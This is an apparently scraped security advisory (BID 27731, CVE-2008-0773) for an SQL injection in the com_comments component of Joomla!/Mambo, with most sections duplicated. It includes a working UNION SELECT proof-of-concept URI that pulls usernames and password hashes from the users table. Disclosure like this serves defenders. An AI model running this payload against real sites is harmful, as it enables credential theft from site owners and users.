Joomla! and Mambo com_comments Component 'id' Parameter SQL Injection Vulnerability
BID:27731
Info
Joomla! and Mambo com_comments Component 'id' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 27731 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-0773 |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 11 2008 12:00AM |
| Updated: | May 07 2015 05:33PM |
| Credit: | CheebaHawk215 is credited with the discovery of this vulnerability. |
| Vulnerable: |
Phil Taylor com_comments Component 0.5.8.5g |
| Not Vulnerable: | |
Discussion
Joomla! and Mambo com_comments Component 'id' Parameter SQL Injection Vulnerability
The Joomla! and Mambo 'com_comments' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The Joomla! and Mambo 'com_comments' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
Joomla! and Mambo com_comments Component 'id' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/index.php?option=com_comments&task=view&id=-1+UNION+SELECT+0,999999,concat(username,0x3a,PASSWORD),0,0,0,0,0,0+FROM+mos_users+union+select+*+from+mos_content_comments+where+1=1
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/index.php?option=com_comments&task=view&id=-1+UNION+SELECT+0,999999,concat(username,0x3a,PASSWORD),0,0,0,0,0,0+FROM+mos_users+union+select+*+from+mos_content_comments+where+1=1
Solution / Fix
Joomla! and Mambo com_comments Component 'id' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Joomla! and Mambo com_comments Component 'id' Parameter SQL Injection Vulnerability
References:
References:
- Guest Article Comment capability (Phil Taylor)
- Mambo Homepage (Mambo)